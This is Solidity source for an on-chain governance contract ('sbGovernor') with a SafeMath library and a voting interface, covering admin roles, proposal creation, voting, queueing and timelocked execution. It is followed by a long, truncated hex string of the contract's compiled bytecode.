* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
contract sbGovernor {
event CanceledTransaction(
bytes32 indexed txHash,
address indexed target,
uint256 value,
string signature,
bytes data,
uint256 eta
);
event ExecutedTransaction(
bytes32 indexed txHash,
address indexed target,
uint256 value,
string signature,
bytes data,
uint256 eta
);
event QueuedTransaction(
bytes32 indexed txHash,
address indexed target,
uint256 value,
string signature,
bytes data,
uint256 eta
);
event ProposalCreated(
uint256 id,
address proposer,
address[] targets,
uint256[] values,
string[] signatures,
bytes[] calldatas,
uint256 startBlock,
uint256 endBlock,
string description
);
event Voted(address voter, uint256 proposalId, bool support, uint256 votes);
event ProposalCanceled(uint256 id);
event ProposalQueued(uint256 id, uint256 eta);
event ProposalExecuted(uint256 id);
using SafeMath for uint256;
sbVotesInterface public sbVotes;
bool public initDone;
address public admin;
address public pendingAdmin;
address public superAdmin;
address public pendingSuperAdmin;
uint256 public quorumVotesInWei;
uint256 public proposalThresholdInWei;
uint256 public proposalMaxOperations;
uint256 public votingDelayInBlocks;
uint256 public votingPeriodInBlocks;
uint256 public queuePeriodInSeconds;
uint256 public gracePeriodInSeconds;
uint256 public proposalCount;
mapping(uint256 => address) public proposalProposer;
mapping(uint256 => uint256) public proposalEta;
mapping(uint256 => address[]) public proposalTargets;
mapping(uint256 => uint256[]) public proposalValues;
mapping(uint256 => string[]) public proposalSignatures;
mapping(uint256 => bytes[]) public proposalCalldatas;
mapping(uint256 => uint256) public proposalStartBlock;
mapping(uint256 => uint256) public proposalEndBlock;
mapping(uint256 => uint256) public proposalForVotes;
mapping(uint256 => uint256) public proposalAgainstVotes;
mapping(uint256 => bool) public proposalCanceled;
mapping(uint256 => bool) public proposalExecuted;
mapping(uint256 => mapping(address => bool)) public proposalVoterHasVoted;
mapping(uint256 => mapping(address => bool)) public proposalVoterSupport;
mapping(uint256 => mapping(address => uint96)) public proposalVoterVotes;
mapping(address => uint256) public latestProposalIds;
mapping(bytes32 => bool) public queuedTransactions;
mapping(string => uint256) public possibleProposalStatesMapping;
string[] public possibleProposalStatesArray;
function init(
address sbVotesAddress,
address adminAddress,
address superAdminAddress
) public {
require(!initDone, "init done");
sbVotes = sbVotesInterface(sbVotesAddress);
admin = adminAddress;
superAdmin = superAdminAddress;
possibleProposalStatesMapping["Pending"] = 0;
possibleProposalStatesArray.push("Pending");
possibleProposalStatesMapping["Active"] = 1;
possibleProposalStatesArray.push("Active");
possibleProposalStatesMapping["Canceled"] = 2;
possibleProposalStatesArray.push("Canceled");
possibleProposalStatesMapping["Defeated"] = 3;
possibleProposalStatesArray.push("Defeated");
possibleProposalStatesMapping["Succeeded"] = 4;
possibleProposalStatesArray.push("Succeeded");
possibleProposalStatesMapping["Queued"] = 5;
possibleProposalStatesArray.push("Queued");
possibleProposalStatesMapping["Expired"] = 6;
possibleProposalStatesArray.push("Expired");
possibleProposalStatesMapping["Executed"] = 7;
possibleProposalStatesArray.push("Executed");
initDone = true;
}
// ADMIN
// *************************************************************************************
function setPendingAdmin(address newPendingAdmin) public {
require(msg.sender == admin, "not admin");
pendingAdmin = newPendingAdmin;
}
function acceptAdmin() public {
require(
msg.sender == pendingAdmin && msg.sender != address(0),
"not pendingAdmin"
);
admin = pendingAdmin;
pendingAdmin = address(0);
}
function setPendingSuperAdmin(address newPendingSuperAdmin) public {
require(msg.sender == superAdmin, "not superAdmin");
pendingSuperAdmin = newPendingSuperAdmin;
}
function acceptSuperAdmin() public {
require(
msg.sender == pendingSuperAdmin && msg.sender != address(0),
"not pendingSuperAdmin"
);
superAdmin = pendingSuperAdmin;
pendingSuperAdmin = address(0);
}
// PARAMETERS
// *************************************************************************************
function updateQuorumVotesInWei(uint256 amountInWei) public {
require(msg.sender == admin || msg.sender == superAdmin, "not admin");
require(amountInWei > 0, "zero");
quorumVotesInWei = amountInWei;
}
function updateProposalThresholdInWei(uint256 amountInWei) public {
require(msg.sender == admin || msg.sender == superAdmin, "not admin");
require(amountInWei > 0, "zero");
proposalThresholdInWei = amountInWei;
}
function updateProposalMaxOperations(uint256 count) public {
require(msg.sender == admin || msg.sender == superAdmin, "not admin");
require(count > 0, "zero");
proposalMaxOperations = count;
}
function updateVotingDelayInBlocks(uint256 amountInBlocks) public {
require(msg.sender == admin || msg.sender == superAdmin, "not admin");
require(amountInBlocks > 0, "zero");
votingDelayInBlocks = amountInBlocks;
}
function updateVotingPeriodInBlocks(uint256 amountInBlocks) public {
require(msg.sender == admin || msg.sender == superAdmin, "not admin");
require(amountInBlocks > 0, "zero");
votingPeriodInBlocks = amountInBlocks;
}
function updateQueuePeriodInSeconds(uint256 amountInSeconds) public {
require(msg.sender == admin || msg.sender == superAdmin, "not admin");
require(amountInSeconds > 0, "zero");
queuePeriodInSeconds = amountInSeconds;
}
function updateGracePeriodInSeconds(uint256 amountInSeconds) public {
require(msg.sender == admin || msg.sender == superAdmin, "not admin");
require(amountInSeconds > 0, "zero");
gracePeriodInSeconds = amountInSeconds;
}
// PROPOSALS
// *************************************************************************************
function propose(
address[] memory targets,
uint256[] memory values,
string[] memory signatures,
bytes[] memory calldatas,
string memory description
) public returns (uint256) {
require(
sbVotes.getPriorProposalVotes(msg.sender, block.number.sub(1)) >
proposalThresholdInWei,
"below threshold"
);
require(
targets.length == values.length &&
targets.length == signatures.length &&
targets.length == calldatas.length,
"arity mismatch"
);
require(targets.length != 0, "missing actions");
require(targets.length <= proposalMaxOperations, "too many actions");
uint256 latestProposalId = latestProposalIds[msg.sender];
if (latestProposalId != 0) {
uint256 proposersLatestProposalState = state(latestProposalId);
require(
proposersLatestProposalState !=
possibleProposalStatesMapping["Active"],
"already active proposal"
);
require(
proposersLatestProposalState !=
possibleProposalStatesMapping["Pending"],
"already pending proposal"
);
}
uint256 startBlock = block.number.add(votingDelayInBlocks);
uint256 endBlock = startBlock.add(votingPeriodInBlocks);
proposalCount = proposalCount.add(1);
proposalProposer[proposalCount] = msg.sender;
proposalEta[proposalCount] = 0;
proposalTargets[proposalCount] = targets;
proposalValues[proposalCount] = values;
proposalSignatures[proposalCount] = signatures;
proposalCalldatas[proposalCount] = calldatas;
proposalStartBlock[proposalCount] = startBlock;
proposalEndBlock[proposalCount] = endBlock;
proposalForVotes[proposalCount] = 0;
proposalAgainstVotes[proposalCount] = 0;
proposalCanceled[proposalCount] = false;
proposalExecuted[proposalCount] = false;
latestProposalIds[msg.sender] = proposalCount;
emit ProposalCreated(
proposalCount,
msg.sender,
targets,
values,
signatures,
calldatas,
startBlock,
endBlock,
description
);
return proposalCount;
}
function vote(uint256 proposalId, bool support) public {
return _vote(msg.sender, proposalId, support);
}
function queue(uint256 proposalId) public {
require(
state(proposalId) == possibleProposalStatesMapping["Succeeded"],
"not succeeded"
);
uint256 eta = block.timestamp.add(queuePeriodInSeconds);
for (uint256 i = 0; i < proposalTargets[proposalId].length; i++) {
_queueOrRevert(
proposalTargets[proposalId][i],
proposalValues[proposalId][i],
proposalSignatures[proposalId][i],
proposalCalldatas[proposalId][i],
eta
);
}
proposalEta[proposalId] = eta;
emit ProposalQueued(proposalId, eta);
}
function cancel(uint256 proposalId) public {
uint256 state = state(proposalId);
require(
state != possibleProposalStatesMapping["Executed"],
"already executed"
);
require(
msg.sender == admin ||
msg.sender == superAdmin ||
sbVotes.getPriorProposalVotes(
proposalProposer[proposalId],
block.number.sub(1)
) <
proposalThresholdInWei,
"below threshold"
);
proposalCanceled[proposalId] = true;
for (uint256 i = 0; i < proposalTargets[proposalId].length; i++) {
_cancelTransaction(
proposalTargets[proposalId][i],
proposalValues[proposalId][i],
proposalSignatures[proposalId][i],
proposalCalldatas[proposalId][i],
proposalEta[proposalId]
);
}
emit ProposalCanceled(proposalId);
}
function execute(uint256 proposalId) public payable {
require(
state(proposalId) == possibleProposalStatesMapping["Queued"],
"not queued"
);
proposalExecuted[proposalId] = true;
for (uint256 i = 0; i < proposalTargets[proposalId].length; i++) {
_executeTransaction(
proposalTargets[proposalId][i],
proposalValues[proposalId][i],
proposalSignatures[proposalId][i],
proposalCalldatas[proposalId][i],
proposalEta[proposalId]
);
}
emit ProposalExecuted(proposalId);
}
function getReceipt(uint256 proposalId, address voter)
public
view
returns (
bool,
bool,
uint96
)
{
return (
proposalVoterHasVoted[proposalId][voter],
proposalVoterSupport[proposalId][voter],
proposalVoterVotes[proposalId][voter]
);
}
function getActions(uint256 proposalId)
public
view
returns (
address[] memory,
uint256[] memory,
string[] memory,
bytes[] memory
)
{
return (
proposalTargets[proposalId],
proposalValues[proposalId],
proposalSignatures[proposalId],
proposalCalldatas[proposalId]
);
}
function getPossibleProposalStates() public view returns (string[] memory) {
return possibleProposalStatesArray;
}
function getPossibleProposalStateKey(uint256 index)
public
view
returns (string memory)
{
require(index < possibleProposalStatesArray.length, "invalid index");
return possibleProposalStatesArray[index];
}
function state(uint256 proposalId) public view returns (uint256) {
require(
proposalCount >= proposalId && proposalId > 0,
"invalid proposal id"
);
if (proposalCanceled[proposalId]) {
return possibleProposalStatesMapping["Canceled"];
} else if (block.number <= proposalStartBlock[proposalId]) {
return possibleProposalStatesMapping["Pending"];
} else if (block.number <= proposalEndBlock[proposalId]) {
return possibleProposalStatesMapping["Active"];
} else if (
proposalForVotes[proposalId] <= proposalAgainstVotes[proposalId] ||
proposalForVotes[proposalId] < quorumVotesInWei
) {
return possibleProposalStatesMapping["Defeated"];
} else if (proposalEta[proposalId] == 0) {
return possibleProposalStatesMapping["Succeeded"];
} else if (proposalExecuted[proposalId]) {
return possibleProposalStatesMapping["Executed"];
} else if (
block.timestamp >= proposalEta[proposalId].add(gracePeriodInSeconds)
) {
return possibleProposalStatesMapping["Expired"];
} else {
return possibleProposalStatesMapping["Queued"];
}
}
// SUPPORT
// *************************************************************************************
function _queueOrRevert(
address target,
uint256 value,
string memory signature,
bytes memory data,
uint256 eta
) internal {
require(
!queuedTransactions[keccak256(
abi.encode(target, value, signature, data, eta)
)],
"already queued at eta"
);
_queueTransaction(target, value, signature, data, eta);
}
function _queueTransaction(
address target,
uint256 value,
string memory signature,
bytes memory data,
uint256 eta
) internal returns (bytes32) {
require(
eta >= block.timestamp.add(queuePeriodInSeconds),
"not satisfy queue period"
);
bytes32 txHash = keccak256(
abi.encode(target, value, signature, data, eta)
);
queuedTransactions[txHash] = true;
emit QueuedTransaction(txHash, target, value, signature, data, eta);
return txHash;
}
function _cancelTransaction(
address target,
uint256 value,
string memory signature,
bytes memory data,
uint256 eta
) internal {
bytes32 txHash = keccak256(
abi.encode(target, value, signature, data, eta)
);
queuedTransactions[txHash] = false;
emit CanceledTransaction(txHash, target, value, signature, data, eta);
}
function _executeTransaction(
address target,
uint256 value,
string memory signature,
bytes memory data,
uint256 eta
) internal returns (bytes memory) {
bytes32 txHash = keccak256(
abi.encode(target, value, signature, data, eta)
);
require(queuedTransactions[txHash], "not queued");
require(block.timestamp >= eta, "not past eta");
require(block.timestamp <= eta.add(gracePeriodInSeconds), "stale");
queuedTransactions[txHash] = false;
bytes memory callData;
if (bytes(signature).length == 0) {
callData = data;
} else {
callData = abi.encodePacked(
bytes4(keccak256(bytes(signature))),
data
);
}
(bool success, bytes memory returnData) = target.call{value: value}(
callData
);
require(success, "execution reverted");
emit ExecutedTransaction(txHash, target, value, signature, data, eta);
return returnData;
}
function _vote(
address voter,
uint256 proposalId,
bool support
) internal {
require(
state(proposalId) == possibleProposalStatesMapping["Active"],
"voting closed"
);
require(
proposalVoterHasVoted[proposalId][voter] == false,
"already voted"
);
uint96 votes = sbVotes.getPriorProposalVotes(
voter,
proposalStartBlock[proposalId]
);
if (support) {
proposalForVotes[proposalId] = proposalForVotes[proposalId].add(
votes
);
} else {
proposalAgainstVotes[proposalId] = proposalAgainstVotes[proposalId]
.add(votes);
}
proposalVoterHasVoted[proposalId][voter] = true;
proposalVoterSupport[proposalId][voter] = support;
proposalVoterVotes[proposalId][voter] = votes;
emit Voted(voter, proposalId, support, votes);
}
}
interface sbVotesInterface {
function getPriorProposalVotes(address account, uint256 blockNumber) external view returns (uint96);
function updateVotes(
address staker,
uint256 rawAmount,
bool adding
) external;
}
| 0x6080604052600436106103505760003560e01c8063798f60f2116101c6578063c9d27afe116100f7578063e23a9a5211610095578063f2b065371161006f578063f2b0653714610988578063f851a440146109a8578063fe0d94c1146109bd578063fed0a20e146109d057610350565b8063e23a9a521461092f578063e7f9cefd1461095e578063ecb4452c1461097357610350565b8063da35c664116100d1578063da35c664146108ba578063da95691a146108cf578063ddf0b009146108ef578063de3514b61461090f57610350565b8063c9d27afe1461085a578063ca0c9d791461087a578063d39ca7de1461089a57610350565b8063a7e2286011610164578063b1bb79b11161013e578063b1bb79b1146107cd578063b49d18d6146107ed578063c80a5ba61461081a578063c8bb4dd51461083a57610350565b8063a7e228601461076d578063ab58fb8e1461078d578063ac674664146107ad57610350565b80638faba44c116101a05780638faba44c146106eb5780639d50f36a1461070d5780639dc4e1a01461072d578063a4a53a131461074d57610350565b8063798f60f2146106965780637bdbe4d0146106b6578063878b608d146106cb57610350565b806331078c20116102a05780634e42b06d1161023e57806361fabd051161021857806361fabd051461062c5780636363013a1461064c5780636e18113c1461066157806372cacdd41461068157610350565b80634e42b06d146105bf578063541d1bcc146105ec57806354d7ece41461060c57610350565b806340e58ee51161027a57806340e58ee51461054a5780634147f91d1461056a57806348028d631461058a5780634dd18bf51461059f57610350565b806331078c20146104e5578063328dd982146104fa5780633e4f49e61461052a57610350565b80631684f4551161030d5780631b35b640116102e75780631b35b640146104915780632615a646146104a657806326782247146104bb57806329575f6a146104d057610350565b80631684f4551461043157806317977c6114610451578063184b95591461047157610350565b80630514e6651461035557806308416904146103775780630e18b681146103a2578063103616e8146103b7578063143489d0146103e457806314904b6614610411575b600080fd5b34801561036157600080fd5b50610375610370366004613410565b6109e5565b005b34801561038357600080fd5b5061038c610a52565b6040516103999190613c53565b60405180910390f35b3480156103ae57600080fd5b50610375610a58565b3480156103c357600080fd5b506103d76103d2366004613410565b610ab4565b60405161039991906137f8565b3480156103f057600080fd5b506104046103ff366004613410565b610ac9565b60405161039991906136e3565b34801561041d57600080fd5b506103d761042c366004613463565b610ae4565b34801561043d57600080fd5b5061038c61044c366004613410565b610b04565b34801561045d57600080fd5b5061038c61046c3660046132e4565b610b16565b34801561047d57600080fd5b5061037561048c3660046132ff565b610b28565b34801561049d57600080fd5b5061038c610f25565b3480156104b257600080fd5b5061038c610f2b565b3480156104c757600080fd5b50610404610f31565b3480156104dc57600080fd5b50610404610f40565b3480156104f157600080fd5b5061038c610f4f565b34801561050657600080fd5b5061051a610515366004613410565b610f55565b604051610399949392919061378d565b34801561053657600080fd5b5061038c610545366004613410565b6111e4565b34801561055657600080fd5b50610375610565366004613410565b611367565b34801561057657600080fd5b50610375610585366004613410565b6116e7565b34801561059657600080fd5b5061040461174b565b3480156105ab57600080fd5b506103756105ba3660046132e4565b61175a565b3480156105cb57600080fd5b506105df6105da3660046134c2565b6117a6565b6040516103999190613824565b3480156105f857600080fd5b506105df610607366004613410565b61185a565b34801561061857600080fd5b506105df610627366004613410565b611925565b34801561063857600080fd5b50610375610647366004613410565b611998565b34801561065857600080fd5b5061038c6119fc565b34801561066d57600080fd5b506103d761067c366004613410565b611a02565b34801561068d57600080fd5b50610404611a17565b3480156106a257600080fd5b506103756106b1366004613410565b611a26565b3480156106c257600080fd5b5061038c611a8a565b3480156106d757600080fd5b5061038c6106e63660046134c2565b611a90565b3480156106f757600080fd5b50610700611abe565b60405161039991906137e5565b34801561071957600080fd5b50610375610728366004613410565b611b96565b34801561073957600080fd5b5061038c610748366004613428565b611bfa565b34801561075957600080fd5b506105df6107683660046134c2565b611c17565b34801561077957600080fd5b5061038c610788366004613410565b611c30565b34801561079957600080fd5b5061038c6107a8366004613410565b611c42565b3480156107b957600080fd5b506104046107c83660046134c2565b611c54565b3480156107d957600080fd5b506103756107e8366004613410565b611c89565b3480156107f957600080fd5b5061080d610808366004613463565b611ced565b6040516103999190613d3f565b34801561082657600080fd5b5061038c610835366004613410565b611d13565b34801561084657600080fd5b5061038c610855366004613410565b611d25565b34801561086657600080fd5b5061037561087536600461348f565b611d37565b34801561088657600080fd5b50610375610895366004613410565b611d46565b3480156108a657600080fd5b506103756108b53660046132e4565b611daa565b3480156108c657600080fd5b5061038c611df6565b3480156108db57600080fd5b5061038c6108ea366004613344565b611dfc565b3480156108fb57600080fd5b5061037561090a366004613410565b612193565b34801561091b57600080fd5b506103d761092a366004613463565b612417565b34801561093b57600080fd5b5061094f61094a366004613463565b612437565b60405161039993929190613803565b34801561096a57600080fd5b5061037561249c565b34801561097f57600080fd5b5061038c6124f8565b34801561099457600080fd5b506103d76109a3366004613410565b6124fe565b3480156109b457600080fd5b50610404612513565b6103756109cb366004613410565b612522565b3480156109dc57600080fd5b506103d76127ac565b6001546001600160a01b0316331480610a0857506003546001600160a01b031633145b610a2d5760405162461bcd60e51b8152600401610a2490613be3565b60405180910390fd5b60008111610a4d5760405162461bcd60e51b8152600401610a24906138ec565b600b55565b600b5481565b6002546001600160a01b031633148015610a7157503315155b610a8d5760405162461bcd60e51b8152600401610a24906139d4565b60028054600180546001600160a01b03199081166001600160a01b03841617909155169055565b60186020526000908152604090205460ff1681565b600d602052600090815260409020546001600160a01b031681565b601960209081526000928352604080842090915290825290205460ff1681565b60146020526000908152604090205481565b601c6020526000908152604090205481565b600054600160a01b900460ff1615610b525760405162461bcd60e51b8152600401610a24906139b1565b600080546001600160a01b038086166001600160a01b0319928316178355600180548683169084161790556003805491851691909216179055604051601e90610b9a90613671565b908152604080516020928190038301812093909355601f805460018101825560009190915283820190915260078084526650656e64696e6760c81b92909301918252610bf992600080516020613dcb8339815191529091019190612e60565b506001601e604051610c0a906136be565b908152604080516020928190038301812093909355601f805460018101825560009190915283820190915260068084526541637469766560d01b92909301918252610c6892600080516020613dcb8339815191529091019190612e60565b506002601e604051610c79906136aa565b908152604080516020928190038301812093909355601f805460018101825560009190915283820190915260088084526710d85b98d95b195960c21b92909301918252610cd992600080516020613dcb8339815191529091019190612e60565b506003601e604051610cea90613696565b908152604080516020928190038301812093909355601f805460018101825560009190915283820190915260088084526711195999585d195960c21b92909301918252610d4a92600080516020613dcb8339815191529091019190612e60565b506004601e604051610d5b9061365c565b908152604080516020928190038301812093909355601f805460018101825560009190915283820190915260098084526814dd58d8d95959195960ba1b92909301918252610dbc92600080516020613dcb8339815191529091019190612e60565b506005601e604051610dcd90613684565b908152604080516020928190038301812093909355601f8054600181018255600091909152838201909152600680845265145d595d595960d21b92909301918252610e2b92600080516020613dcb8339815191529091019190612e60565b506006601e604051610e3c906136d0565b908152604080516020928190038301812093909355601f8054600181018255600091909152838201909152600780845266115e1c1a5c995960ca1b92909301918252610e9b92600080516020613dcb8339815191529091019190612e60565b506007601e604051610eac90613648565b908152604080516020928190038301812093909355601f8054600181018255600091909152838201909152600880845267115e1958dd5d195960c21b92909301918252610f0c92600080516020613dcb8339815191529091019190612e60565b50506000805460ff60a01b1916600160a01b1790555050565b60085481565b60095481565b6002546001600160a01b031681565b6003546001600160a01b031681565b60065481565b6000818152600f60209081526040808320601083528184206011845282852060128552948390208254845181870281018701909552808552606096879687968796959492939091869190830182828015610fd857602002820191906000526020600020905b81546001600160a01b03168152600190910190602001808311610fba575b505050505093508280548060200260200160405190810160405280929190818152602001828054801561102a57602002820191906000526020600020905b815481526020019060010190808311611016575b5050505050925081805480602002602001604051908101604052809291908181526020016000905b828210156110fd5760008481526020908190208301805460408051601f60026000196101006001871615020190941693909304928301859004850281018501909152818152928301828280156110e95780601f106110be576101008083540402835291602001916110e9565b820191906000526020600020905b8154815290600101906020018083116110cc57829003601f168201915b505050505081526020019060010190611052565b50505050915080805480602002602001604051908101604052809291908181526020016000905b828210156111cf5760008481526020908190208301805460408051601f60026000196101006001871615020190941693909304928301859004850281018501909152818152928301828280156111bb5780601f10611190576101008083540402835291602001916111bb565b820191906000526020600020905b81548152906001019060200180831161119e57829003601f168201915b505050505081526020019060010190611124565b50505050905093509350935093509193509193565b600081600c54101580156111f85750600082115b6112145760405162461bcd60e51b8152600401610a24906138bf565b60008281526017602052604090205460ff161561124f57601e604051611239906136aa565b9081526020016040518091039020549050611362565b600082815260136020526040902054431161127257601e60405161123990613671565b600082815260146020526040902054431161129557601e604051611239906136be565b6000828152601660209081526040808320546015909252909120541115806112cc5750600554600083815260156020526040902054105b156112df57601e60405161123990613696565b6000828152600e602052604090205461130057601e6040516112399061365c565b60008281526018602052604090205460ff161561132557601e60405161123990613648565b600b546000838152600e6020526040902054611340916127bc565b421061135457601e604051611239906136d0565b601e60405161123990613684565b919050565b6000611372826111e4565b9050601e60405161138290613648565b9081526020016040518091039020548114156113b05760405162461bcd60e51b8152600401610a2490613a7b565b6001546001600160a01b03163314806113d357506003546001600160a01b031633145b80611484575060065460008054848252600d6020526040909120546001600160a01b039182169163916c435f911661140c4360016127ea565b6040518363ffffffff1660e01b81526004016114299291906136f7565b60206040518083038186803b15801561144157600080fd5b505afa158015611455573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061147991906134e3565b6001600160601b0316105b6114a05760405162461bcd60e51b8152600401610a2490613837565b6000828152601760205260408120805460ff191660011790555b6000838152600f60205260409020548110156116ab576000838152600f6020526040902080546116a39190839081106114ef57fe5b60009182526020808320909101548683526010909152604090912080546001600160a01b03909216918490811061152257fe5b906000526020600020015460116000878152602001908152602001600020848154811061154b57fe5b600091825260209182902001805460408051601f60026000196101006001871615020190941693909304928301859004850281018501909152818152928301828280156115d95780601f106115ae576101008083540402835291602001916115d9565b820191906000526020600020905b8154815290600101906020018083116115bc57829003601f168201915b5050506000898152601260205260409020805490925087915081106115fa57fe5b600091825260209182902001805460408051601f60026000196101006001871615020190941693909304928301859004850281018501909152818152928301828280156116885780601f1061165d57610100808354040283529160200191611688565b820191906000526020600020905b81548152906001019060200180831161166b57829003601f168201915b50505060008a8152600e6020526040902054915061282c9050565b6001016114ba565b507f789cf55be980739dad1d0699b93b58e806b51c9d96619bfa8fe0a28abaa7b30c826040516116db9190613c53565b60405180910390a15050565b6001546001600160a01b031633148061170a57506003546001600160a01b031633145b6117265760405162461bcd60e51b8152600401610a2490613be3565b600081116117465760405162461bcd60e51b8152600401610a24906138ec565b600955565b6004546001600160a01b031681565b6001546001600160a01b031633146117845760405162461bcd60e51b8152600401610a2490613be3565b600280546001600160a01b0319166001600160a01b0392909216919091179055565b601260205281600052604060002081815481106117bf57fe5b600091825260209182902001805460408051601f600260001961010060018716150201909416939093049283018590048502810185019091528181529450909250908301828280156118525780601f1061182757610100808354040283529160200191611852565b820191906000526020600020905b81548152906001019060200180831161183557829003601f168201915b505050505081565b601f54606090821061187e5760405162461bcd60e51b8152600401610a2490613c2c565b601f828154811061188b57fe5b600091825260209182902001805460408051601f60026000196101006001871615020190941693909304928301859004850281018501909152818152928301828280156119195780601f106118ee57610100808354040283529160200191611919565b820191906000526020600020905b8154815290600101906020018083116118fc57829003601f168201915b50505050509050919050565b601f818154811061193257fe5b600091825260209182902001805460408051601f60026000196101006001871615020190941693909304928301859004850281018501909152818152935090918301828280156118525780601f1061182757610100808354040283529160200191611852565b6001546001600160a01b03163314806119bb57506003546001600160a01b031633145b6119d75760405162461bcd60e51b8152600401610a2490613be3565b600081116119f75760405162461bcd60e51b8152600401610a24906138ec565b600755565b60055481565b60176020526000908152604090205460ff1681565b6000546001600160a01b031681565b6001546001600160a01b0316331480611a4957506003546001600160a01b031633145b611a655760405162461bcd60e51b8152600401610a2490613be3565b60008111611a855760405162461bcd60e51b8152600401610a24906138ec565b600855565b60075481565b60106020528160005260406000208181548110611aa957fe5b90600052602060002001600091509150505481565b6060601f805480602002602001604051908101604052809291908181526020016000905b82821015611b8d5760008481526020908190208301805460408051601f6002600019610100600187161502019094169390930492830185900485028101850190915281815292830182828015611b795780601f10611b4e57610100808354040283529160200191611b79565b820191906000526020600020905b815481529060010190602001808311611b5c57829003601f168201915b505050505081526020019060010190611ae2565b50505050905090565b6001546001600160a01b0316331480611bb957506003546001600160a01b031633145b611bd55760405162461bcd60e51b8152600401610a2490613be3565b60008111611bf55760405162461bcd60e51b8152600401610a24906138ec565b600655565b8051602081830181018051601e8252928201919093012091525481565b601160205281600052604060002081815481106117bf57fe5b60166020526000908152604090205481565b600e6020526000908152604090205481565b600f6020528160005260406000208181548110611c6d57fe5b6000918252602090912001546001600160a01b03169150829050565b6001546001600160a01b0316331480611cac57506003546001600160a01b031633145b611cc85760405162461bcd60e51b8152600401610a2490613be3565b60008111611ce85760405162461bcd60e51b8152600401610a24906138ec565b600555565b601b6020908152600092835260408084209091529082529020546001600160601b031681565b60136020526000908152604090205481565b60156020526000908152604090205481565b611d423383836128c6565b5050565b6001546001600160a01b0316331480611d6957506003546001600160a01b031633145b611d855760405162461bcd60e51b8152600401610a2490613be3565b60008111611da55760405162461bcd60e51b8152600401610a24906138ec565b600a55565b6003546001600160a01b03163314611dd45760405162461bcd60e51b8152600401610a2490613b92565b600480546001600160a01b0319166001600160a01b0392909216919091179055565b600c5481565b600654600080549091906001600160a01b031663916c435f33611e204360016127ea565b6040518363ffffffff1660e01b8152600401611e3d9291906136f7565b60206040518083038186803b158015611e5557600080fd5b505afa158015611e69573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611e8d91906134e3565b6001600160601b031611611eb35760405162461bcd60e51b8152600401610a2490613837565b84518651148015611ec5575083518651145b8015611ed2575082518651145b611eee5760405162461bcd60e51b8152600401610a2490613897565b8551611f0c5760405162461bcd60e51b8152600401610a2490613bba565b60075486511115611f2f5760405162461bcd60e51b8152600401610a2490613968565b336000908152601c60205260409020548015611fcc576000611f50826111e4565b9050601e604051611f60906136be565b908152602001604051809103902054811415611f8e5760405162461bcd60e51b8152600401610a2490613aa5565b601e604051611f9c90613671565b908152602001604051809103902054811415611fca5760405162461bcd60e51b8152600401610a2490613b5b565b505b6000611fe3600854436127bc90919063ffffffff16565b90506000611ffc600954836127bc90919063ffffffff16565b600c5490915061200d9060016127bc565b600c8181556000918252600d6020908152604080842080546001600160a01b0319163317905582548452600e825280842084905591548352600f815291208a51612059928c0190612ede565b50600c546000908152601060209081526040909120895161207c928b0190612f3f565b50600c546000908152601160209081526040909120885161209f928a0190612f79565b50600c54600090815260126020908152604090912087516120c292890190612fd2565b50600c805460009081526013602090815260408083208690558354835260148252808320859055835483526015825280832083905583548352601682528083208390558354835260178252808320805460ff19908116909155845484526018835281842080549091169055925433808452601c9092529183902082905591517f7d84a6263ae0d98d3329bd7b46bb4e8d6f98cd35a7adb45c274c8b7fd5ebd5e09261217b92918d908d908d908d908a908a908f90613c5c565b60405180910390a15050600c54979650505050505050565b601e6040516121a19061365c565b9081526020016040518091039020546121b9826111e4565b146121d65760405162461bcd60e51b8152600401610a2490613a2d565b60006121ed600a54426127bc90919063ffffffff16565b905060005b6000838152600f60205260409020548110156123d3576000838152600f6020526040902080546123cb91908390811061222757fe5b60009182526020808320909101548683526010909152604090912080546001600160a01b03909216918490811061225a57fe5b906000526020600020015460116000878152602001908152602001600020848154811061228357fe5b600091825260209182902001805460408051601f60026000196101006001871615020190941693909304928301859004850281018501909152818152928301828280156123115780601f